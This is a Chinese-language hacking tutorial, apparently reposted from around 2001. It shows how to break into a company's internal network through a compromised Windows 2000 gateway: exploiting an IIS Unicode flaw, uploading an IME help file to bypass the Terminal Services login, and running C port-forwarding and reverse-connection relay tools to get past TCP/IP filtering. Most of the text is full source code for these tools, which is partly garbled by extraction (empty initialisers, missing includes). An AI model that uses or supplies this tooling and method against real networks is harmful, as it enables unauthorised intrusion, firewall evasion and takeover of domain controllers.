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    怎样突破TCP-IP过滤防火墙进入内网 内网防火墙

    时间:2020-05-09 08:05:17 来源:千叶帆 本文已影响

      现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到Internet,另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接到Internet。

      也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者已经取得网关服务器的某些权限,呵呵,这是不是废话?其实,Internet上很多做网关的服务器并未经过严格的安全配置,要获取权限也不是想象中的那么难。

      Ok!废话就不说了,切入正题。我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程管理工具,不是吗?呵呵。没有做特别说明的话,文中提到的服务器OS都为windows 2000。服务器为Linux或其他的话,原理也差不多,把程序稍微修改就行了。

      第一部分:利用TCP socket数据转发进入没有防火墙保护的内网

      假设敌人网络拓扑如下图所示,没有安装防火墙或在网关服务器上做TCP/IP限制。

      我们的目标是连接上敌人内网的Terminal

      Server[192.168.1.3],因为没有办法直接和他建立连接,那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的windows 2k,IIS有Unicode漏洞[现在要找些有漏洞的机器太容易了,但我只是scripts kid,只会利用现成的漏洞做些简单的攻击:(555),那么我们就得到一个网关的shell了,我们可以在那上面运行我们的程序,虽然权限很低,但也可以做很多事情了。Ok!让我们来写一个做TCP socket数据转发的小程序,让敌人的网关服务器忠实的为我[202.1.1.1]和敌人内网的TermServer[192.168.1.3]之间转发数据。题外话:实际入侵过程是先取得网关服务器的权限,然后用他做跳板,进一步摸清它的内部网络拓扑结构,再做进一步的入侵,现在敌人的网络拓扑是我们给他设计的,哈哈。

      攻击流程如下:

      <1>在网关服务器202.2.2.2运行我们的程序AgentGateWay,他监听TCP 3389端口[改成别的,那我们就要相应的修改TermClient了]等待我们去连接。

      <2>我们202.1.1.1用TermClient连接到202.2.2.2:3389。

      <3>202.2.2.2.接受202.1.1.1的连接,然后再建立一个TCP socket连接到自己内网的TermServer[192.168.1.3]

      <4>这样我们和敌人内网的TermServer之间的数据通道就建好了,接下来网关就忠实的为我们转发数据啦。当我们连接到202.2.2.2:3389的时候,其实出来的界面是敌人内网的192.168.1.3,感觉怎么样?:)

      程序代码如下:

      /**********************************************************************

      Module Name:AgentGateWay.c

      Date:2001/4/15

      CopyRight(c) eyas

      说明:端口重定向工具,在网关上运行,把端口重定向到内网的IP、PORT,

      就可以进入内网了

      sock[0]==>sClient sock[1]==>sTarget

      **********************************************************************/

      #include

      #include

      #include "TCPDataRedird.c"

      #define TargetIP TEXT("192.168.1.3")

      #define TargetPort (int)3389

      #define ListenPort (int)3389//监听端口

      #pragma comment(lib,"ws2_32.lib")

      int main()

      {

      WSADATA wsd;

      SOCKET sListen=INVALID_SOCKET,//本机监听的socket

      sock[2];

      struct sockaddr_in Local,Client,Target;

      int iAddrSize;

      HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

      hThreadT2C=NULL;//T2C=TargetToClient

      DWORD dwThreadID;

      __try

      {

      if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

      {

      printf("\nWSAStartup() failed:%d",GetLastError());

      __leave;

      }

      sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

      if(sListen==INVALID_SOCKET)

      {

      printf("\nsocket() failed:%d",GetLastError());

      __leave;

      }

      Local.sin_addr.s_addr=htonl(INADDR_ANY);

      Local.sin_family=AF_INET;

      Local.sin_port=htons(ListenPort);

      Target.sin_family=AF_INET;

      Target.sin_addr.s_addr=inet_addr(TargetIP);

      Target.sin_port=htons(TargetPort);

      if(bind(sListen,(struct sockaddr

      *)&Local,sizeof(Local))==SOCKET_ERROR)

      {

      printf("\nbind() failed:%d",GetLastError());

      __leave;

      }

      if(listen(sListen,1)==SOCKET_ERROR)

      {

      printf("\nlisten() failed:%d",GetLastError());

      __leave;

      }

      //scoket循环

      while(1)

      {

      printf("\n\n*************Waiting Client Connect

      to**************\n\n");

      iAddrSize=sizeof(Client);

      //get socket sClient

      sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);

      if(sock[0]==INVALID_SOCKET)

      {

      printf("\naccept() failed:%d",GetLastError());

      break;

      }

      printf("\nAccept client==>%s:%d",inet_ntoa(Client.sin_addr),

      ntohs(Client.sin_port));

      //create socket sTarget

      sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

      if(sock[1]==INVALID_SOCKET)

      {

      printf("\nsocket() failed:%d",GetLastError());

      __leave;

      }

      //connect to target port

      if(connect(sock[1],(struct sockaddr

      *)&Target,sizeof(Target))==SOCKET_ERROR)

      {

      printf("\nconnect() failed:%d",GetLastError());

      __leave;

      }

      printf("\nconnect to target 3389 success!");

      //创建两个线程进行数据转发

      hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

      hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

      //等待两个线程结束

      WaitForSingleObject(hThreadC2T,INFINITE);

      WaitForSingleObject(hThreadT2C,INFINITE);

      CloseHandle(hThreadC2T);

      CloseHandle(hThreadT2C);

      closesocket(sock[1]);

      closesocket(sock[0]);

      printf("\n\n*****************Connection

      Close*******************\n\n");

      }//end of sock外循环

      }//end of try

      __finally

      {

      if(sListen!=INVALID_SOCKET) closesocket(sListen);

      if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

      if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

      if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

      if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

      WSACleanup();

      }

      return 0;

      }

      /*************************************************************************

      Module:TCPDataRedird.c

      Date:2001/4/16

      CopyRight(c) eyas

      HomePage:www.patching.net

      Thanks to shotgun

      说明:TCP socket数据转发,sock[0]==>sClient sock[1]==>sTarget

      *************************************************************************/

      #define BuffSize 20*1024 //缓冲区大小20k

      //此函数负责从Client读取数据,然后转发给Target

      DWORD WINAPI TCPDataC2T(SOCKET* sock)

      {

      int iRet,

      ret=-1,//select 返回值

      iLeft,

      idx,

      iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize

      char szSendToTargetBuff[BuffSize]=,

      szRecvFromClientBuff[BuffSize]=;

      fd_set fdread,fdwrite;

      printf("\n\n*****************Connection

      Active*******************\n\n");

      while(1)

      {

      FD_ZERO(&fdread);

      FD_ZERO(&fdwrite);

      FD_SET(sock[0],&fdread);

      FD_SET(sock[1],&fdwrite);

      if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)

      {

      printf("\nselect() failed:%d",GetLastError());

      break;

      }

      //printf("\nselect() return value ret=%d",ret);

      if(ret>0)

      {

      //sClinet可读,client有数据要发送过来

      if(FD_ISSET(sock[0],&fdread))

      {

      //接收sock[0]发送来的数据

      iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);

      if(iRet==SOCKET_ERROR)

      {

      printf("\nrecv() from sock[0] failed:%d",GetLastError());

      break;

      }

      else if(iRet==0)

      break;

      printf("\nrecv %d bytes from sClinet.",iRet);

      //把从client接收到的数据存添加到发往target的缓冲区

      memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);

      //刷新发往target的数据缓冲区当前buff大小

      iSTTBCS+=iRet;

      //清空接收client数据的缓冲区

      memset(szRecvFromClientBuff,0,BuffSize);

      }

      //sTarget可写,把从client接收到的数据发送到target

      if(FD_ISSET(sock[1],&fdwrite))

      {

      //转发数据到target的3389端口

      iLeft=iSTTBCS;

      idx=0;

      while(iLeft>0)

      {

      iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);

      if(iRet==SOCKET_ERROR)

      {

      printf("\nsend() to target failed:%d",GetLastError());

      break;

      }

      printf("\nsend %d bytes to target",iRet);

      iLeft-=iRet;

      idx+=iRet;

      }

      //清空缓冲区

      memset(szSendToTargetBuff,0,BuffSize);

      //重置发往target的数据缓冲区当前buff大小

      iSTTBCS=0;

      }

      }//end of select ret

      Sleep(1);

      }//end of data send & recv循环

      return 0;

      }

      //此函数负责从target读取数据,然后发送给client

      DWORD WINAPI TCPDataT2C(SOCKET* sock)

      {

      int iRet,

      ret=-1,//select 返回值

      iLeft,

      idx,

      iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize

      char szRecvFromTargetBuff[BuffSize]=,

      szSendToClientBuff[BuffSize]=;

      fd_set fdread,fdwrite;

      while(1)

      {

      FD_ZERO(&fdread);

      FD_ZERO(&fdwrite);

      FD_SET(sock[0],&fdwrite);

      FD_SET(sock[1],&fdread);

      if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)

      {

      printf("\nselect() failed:%d",GetLastError());

      break;

      }

      if(ret>0)

      {

      //sTarget可读,从target接收数据

      if(FD_ISSET(sock[1],&fdread))

      {

      //接收target返回数据

      iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);

      if(iRet==SOCKET_ERROR)

      {

      printf("\nrecv() from target failed:%d",GetLastError());

      break;

      }

      else if(iRet==0)

      break;

      printf("\nrecv %d bytes from target",iRet);

      //把从target接收到的数据添加到发送到client的缓冲区

      memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet);

      //清空接收target返回数据缓冲区

      memset(szRecvFromTargetBuff,0,BuffSize);

      //刷新发送到client的数据缓冲区当前大小

      iSTCBCS+=iRet;

      }

      //client可写,发送target返回数据到client

      if(FD_ISSET(sock[0],&fdwrite))

      {

      //发送target返回数据到client

      iLeft=iSTCBCS;

      idx=0;

      while(iLeft>0)

      {

      iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);

      if(iRet==SOCKET_ERROR)

      {

      printf("\nsend() to Client failed:%d",GetLastError());

      break;

      }

      printf("\nsend %d bytes to Client",iRet);

      iLeft-=iRet;

      idx+=iRet;

      }

      //清空缓冲区

      memset(szSendToClientBuff,0,BuffSize);

      iSTCBCS=0;

      }

      }//end of select ret

      Sleep(1);

      }//end of while

      return 0;

      }

      利用TCP socket转发和反弹TCP端口进入有防火墙保护的内网

      事实上很多内网没有第一部分所说的那么简单啦,我们来看一个有防火墙保护的内网,前提是这个防火墙对反弹TCP端口不做限制,限制了的话,又另当别论了。假设网络拓扑如下:

      上面的网络拓扑是我在一次对朋友公司网站授权入侵过程中遇到的。

      〈1〉我自己处于公司内网192.168.0.2,通过公司网关202.1.1.1到Internet,但我是网关的admin:)。

      〈2〉敌人[其实是friend啦]的网关OS是2k adv

      server,在外网网卡上做了TCP/IP限制,只开放了25,53,80,110,3306这几个TCP PORT,通过一个漏洞,我得到了一个shell,可以通过IE来执行系统命令,虽然权限很低。网关有终端服务,登陆验证漏洞补丁未安装,但输入法帮助文件已经被删除了,但是我们可以通过shell把输入法帮助文件upload上去,因为他的系统权限没有设置好,我们可以写,呵呵。这样的话,我们只要能够连接到他的终端服务上去,我们就能绕过登陆验证,得到admin权限了。如何连接?有办法,用TCP socket转发。和第一部分说的一样吗?有些不同。因为他做了TCP/IP限制,我们不能连接他,只能让他来连接我们了,TCP反弹端口,呵呵。

      攻击流程如下:

      〈1〉在我的服务器202.1.1.1运行AgentMaster,监听TCP PORT 12345,等待202.2.2.2来连接,监听TCP PORT 3389,等待我192.168.0.2连接。

      〈2〉在敌人网关机器202.2.2.2运行AgentSlave,连接到202.1.1.1 TCP PORT 12345[注意:是反弹端口,TCP/IP过滤也拿他没办法]

      〈3〉我自己192.168.0.2用TermClient连接到自己的服务器202.1.1.1:3389

      〈4〉敌人网关上的AgentSlave连接到自己本身在内网的IP==〉192.168.1.1:3389

      〈5〉数据通道就建立好啦。两个代理忠实的为我们转发数据,呵呵。当我们连接自己服务器的3389,其实出来的是敌人内网的某台机器,呵呵。

      后来发现敌人的主域控制器是192.168.1.4,通过前面与他网关建立的连接,利用一个漏洞轻易的取得主域的admin权限,呵呵。他可能认为主域在内网,网关又做了TCP/IP过滤,攻击者没有办法进入。我只要把AgentSlave设置为连接192.168.1.4:3389,以后就可以直接连接他的主域控制器啦,不过在网关登陆也一样。

      程序代码如下[程序中所用到的TCPDataRedird.c已经贴在第一部分,那个文件做数据转发,通用的:

      /******************************************************************************

      Module Name:AgentMaster.c

      Date:2001/4/16

      CopyRight(c) eyas

      说明:scoket代理主控端,负责监听两个TCP socket,等待攻击者和AgentSlave来连接,两个

      scoket都连接成功后,开始转发数据

      sock[0]是client==〉sock[0] sock[1]是target==〉sock[1]

      ******************************************************************************/

      #include 〈stdio.h〉

      #include 〈winsock2.h〉

      #include "TCPDataRedird.c"

      #pragma comment(lib,"ws2_32.lib")

      #define TargetPort 3389//伪装的target的监听端口

      #define LocalPort 12345//等待AgentSlave来connect的端口

      int main()

      {

      WSADATA wsd;

      SOCKET s3389=INVALID_SOCKET,//本机监听的socket,等待攻击者连接

      s1981=INVALID_SOCKET,//监听的socket,等待AgentSlave来连接

      sock[2]=;

      struct sockaddr_in Local3389,Local1981,Attack,Slave;

      int iAddrSize;

      HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

      hThreadT2C=NULL;//T2C=TargetToClient

      DWORD dwThreadID;

      __try

      {

      //load winsock library

      if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

      {

      printf("\nWSAStartup() failed:%d",GetLastError());

      __leave;

      }

      //create socket

      s3389=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

      if(s3389==INVALID_SOCKET)

      {

      printf("\nsocket() failed:%d",GetLastError());

      __leave;

      }

      //create socket

      s1981=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

      if(s1981==INVALID_SOCKET)

      {

      printf("\nsocket() failed:%d",GetLastError());

      __leave;

      }

      //fill the struct

      Local3389.sin_addr.s_addr=htonl(INADDR_ANY);

      Local3389.sin_family=AF_INET;

      Local3389.sin_port=htons(TargetPort);

      Local1981.sin_addr.s_addr=htonl(INADDR_ANY);

      Local1981.sin_family=AF_INET;

      Local1981.sin_port=htons(LocalPort);

      //bind s3389 for attacker

      if(bind(s3389,(struct sockaddr

      *)&Local3389,sizeof(Local3389))==SOCKET_ERROR)

      {

      printf("\nbind() failed:%d",GetLastError());

      __leave;

      }

      //listen for attacker to connect

      if(listen(s3389,1)==SOCKET_ERROR)

      {

      printf("\nlisten() failed:%d",GetLastError());

      __leave;

      }

      //bind s1981 for AgentSlave

      if(bind(s1981,(struct sockaddr

      *)&Local1981,sizeof(Local1981))==SOCKET_ERROR)

      {

      printf("\nbind() failed:%d",GetLastError());

      __leave;

      }

      //listen for AgentSlave to connect

      if(listen(s1981,1)==SOCKET_ERROR)

      {

      printf("\nlisten() failed:%d",GetLastError());

      __leave;

      }

      //socket循环

      while(1)

      {

      //wait for AgentSlave to connect

      iAddrSize=sizeof(Slave);

      sock[1]=accept(s1981,(struct sockaddr *)&Slave,&iAddrSize);

      if(sock[1]==INVALID_SOCKET)

      {

      printf("\naccept() failed:%d",GetLastError());

      break;

      }

      printf("\nAccept AgentSlave==〉%s:%d",inet_ntoa(Slave.sin_addr),

      ntohs(Slave.sin_port));

      //wait for Attacker to connect

      iAddrSize=sizeof(Attack);

      sock[0]=accept(s3389,(struct sockaddr *)&Attack,&iAddrSize);

      if(sock[0]==INVALID_SOCKET)

      {

      printf("\naccept() failed:%d",GetLastError());

      break;

      }

      printf("\nAccept Attacker==〉%s:%d",inet_ntoa(Attack.sin_addr),

      ntohs(Attack.sin_port));

      //创建两个线程进行数据转发

      hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

      hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

      //等待两个线程结束

      WaitForSingleObject(hThreadC2T,INFINITE);

      CloseHandle(hThreadC2T);

      CloseHandle(hThreadT2C);

      closesocket(sock[0]);

      closesocket(sock[1]);

      }//end of socket while

      }//end of try

      __finally

      {

      //clean all

      if(s3389!=INVALID_SOCKET) closesocket(s3389);

      if(s1981!=INVALID_SOCKET) closesocket(s1981);

      if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

      if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

      if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

      if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

      WSACleanup();

      }

      return 0;

      }

      /***********************************************************************************

      Module:AgentSlave.c

      Date:2001/4/17

      Copyright(c)eyas

      HomePage:www.patching.net

      说明:这个程序负责连接最终目标,连接主控端,然后转发数据

      这里连接到AgenrMaster的socket相当与sClient==〉sock[0],

      连接到最终目标的socoket是sTarget==〉sock[1]

      ***********************************************************************************/

      #include 〈stdio.h〉

      #include 〈winsock2.h〉

      #include "TCPDataRedird.c"

      #pragma comment(lib,"ws2_32.lib")

      #define TargetIP "192.168.1.3"

      #define TargetPort (int)3389

      #define AgentMasterIP "202.1.1.1"

      #define AgentMasterPort (int)12345

      int main()

      {

      WSADATA wsd;

      SOCKET sock[2]=;

      struct sockaddr_in Master,Target;

      HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

      hThreadT2C=NULL;//T2C=TargetToClient

      DWORD dwThreadID;

      __try

      {

      //load winsock library

      if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

      {

      printf("\nWSAStartup() failed:%d",GetLastError());

      __leave;

      }

      //循环

      while(1)

      {

      //create client socket

      sock[0]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

      if(sock[0]==INVALID_SOCKET)

      {

      printf("\nsocket() failed:%d",GetLastError());

      __leave;

      }

      //create target socket

      sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

      if(sock[1]==INVALID_SOCKET)

      {

      printf("\nsocket() failed:%d",GetLastError());

      __leave;

      }

      //fill struct

      Target.sin_family=AF_INET;

      Target.sin_addr.s_addr=inet_addr(TargetIP);

      Target.sin_port=htons(TargetPort);

      Master.sin_family=AF_INET;

      Master.sin_addr.s_addr=inet_addr(AgentMasterIP);

      Master.sin_port=htons(AgentMasterPort);

      //connect to AgentMaster

      if(connect(sock[0],(struct sockaddr

      *)&Master,sizeof(Master))==SOCKET_ERROR)

      {

      //连接失败后,等待一会儿再连

      printf("\nconnect() to master failed:%d",GetLastError());

      closesocket(sock[0]);

      closesocket(sock[1]);

      Sleep(5000);

      continue;

      }

      printf("\nconnect to %s %d success!",AgentMasterIP,AgentMasterPort);

      //connect to target

      if(connect(sock[1],(struct sockaddr

      *)&Target,sizeof(Target))==SOCKET_ERROR)

      {

      printf("\nconnect() to target failed:%d",GetLastError());

      __leave;

      }

      printf("\nconnect to %s %d success!",TargetIP,TargetPort);

      //创建两个线程进行数据转发

      hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

      hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

      //等待两个线程结束

      WaitForSingleObject(hThreadC2T,INFINITE);

      CloseHandle(hThreadC2T);

      CloseHandle(hThreadT2C);

      closesocket(sock[0]);

      closesocket(sock[1]);

      }//end of while

      }//end of try

      __finally

      {

      if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

      if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

      if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

      if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

      WSACleanup();

      }

      return 0;

      }

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